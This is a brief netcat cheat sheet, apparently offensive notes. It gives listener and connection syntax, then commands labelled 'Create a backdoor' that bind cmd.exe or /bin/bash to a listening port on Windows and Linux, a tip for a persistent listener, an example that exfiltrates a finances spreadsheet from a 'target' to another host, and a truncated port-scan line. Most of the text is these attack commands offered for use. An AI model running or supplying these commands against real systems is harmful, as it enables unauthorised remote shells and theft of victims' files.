Listen for inbound connections: nc -l -p Connect to another machine: nc options host Connect to webserver: nc 192.168.1.105 80 HEAD / HTTP/1.0 Listen for connections: nc -l -p 6996 On windows use same command with upper case L to create a persistent listener that survives a reboot Create a backdoor: For windows: nc -l -p 6996 -e cmd.exe nc -nnvl -p 80 -e c:\windows\system32\cmd.exe For Linux: nc -l -p 6996 -e /bin/bash Exfiltrate files from target: On source system: type finances.xls | nc 192.168.1.104 6996 On destination system nc -l -p 6996 > finances.xls Scan targets ip addresses for open ports: nc -nv -w1